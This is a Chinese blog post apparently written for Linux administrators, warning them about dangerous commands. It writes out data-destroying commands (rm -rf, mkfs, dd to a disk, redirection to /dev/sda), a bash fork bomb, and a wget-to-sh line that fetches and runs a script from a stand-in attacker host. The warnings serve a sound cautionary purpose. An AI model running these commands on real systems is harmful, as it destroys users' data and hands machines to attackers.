Linux需要谨慎使用的几个命令

运维人员经常接触的Linux系统比较多,在Linux下的管理与操作通常都是通过命令行的方式对服务器进行操作,为了操作安全,有些命令的危害是特别大的,需要谨慎使用,下面就简单列了几个比较常见的命令。

rm -rf

rm命令大家都不陌生,rf参数也都知道是什么意思,意思是强制删除指定目录下的所有文件和文件夹,经常有同学在使用这个命令的时候出现误操作,指定的目录写成根目录导致悲剧的发生,我有一次在使用这个命令的时候,本来以为自己已经切换到我要删除的目录,然后使用了【rm -rf .】,然而并没有切换,直接将网站全部删除,这是我真的是欲哭无泪,血的教训啊。

mkfs.ext4 /dev/sda1

这个命令的作用是将/dev/sda1格式化,这个操作造成的危害大家可能都经历过在安装windows操作系统的时候,一不小心把硬盘格式化的事情,想想都可怕。

:(){:|:&};:

以上命令是Linux下的bash fork炸弹,我们将上面的命令换一下形式如下:

: () {
    : | : &
}; :

以上命令中: 是函数名,执行一个调用自己的递归并且回调自己,&表示后台执行程序,最后的一个 : 是在函数外调用和执行 : () 这个函数的意思。最终的目的就是创建一个每次调用自身调用两次的函数,并没有任何方法来终止自身。 然后它将保持倍增,直到您用完系统资源为止。

mv ~ /dev/null

/dev/null ,从名称上可以很显然看出是一个空文件(写入到/dev/null时全部丢失,读取/dev/null时自己返回EOF)。这条命令的意思就是将用户文件移动到/dev/null,也就是变相的删除文件,所以使用这个命令的时候也要小心,防止丢失数据。

^foo^bar

^foo^bar命令用于编辑以前运行的命令,而不需要重新输入整个命令。在不确定之前命令的作用之前,小心使用这个命令,防止出现不必要的麻烦。

dd if=/dev/random of=/dev/sda

Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。比如下面的命令可以使整个主硬盘清零:dd if=/dev/zero of=/dev/had

> file

这个命令的作用是将之前的内容重定向到文件中,而且是覆盖掉原有文件,所以在执行这个操作的时候要小心后面的文件,确保文件名正确,否则会因为自己的失误把重要的文件覆盖掉,造成不必要的麻烦。

> /dev/sda

这个命令的关键在于后面的/dev/sda,执行完这个操作之后,数据会被写入第一个硬盘,导致覆盖掉所有文件和文件夹。危害可想而知。

wget http://evil.test.com/exp.sh -O- | sh

这个命令经常被黑客拿来使用,在受害机器上下载并执行黑客指定的脚本,执行反弹shell或者提权啥的操作。作为运维者,小心使用这个命令,防止黑客使用钓鱼等技术诱使你执行他让你执行的命令,导致系统沦陷。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值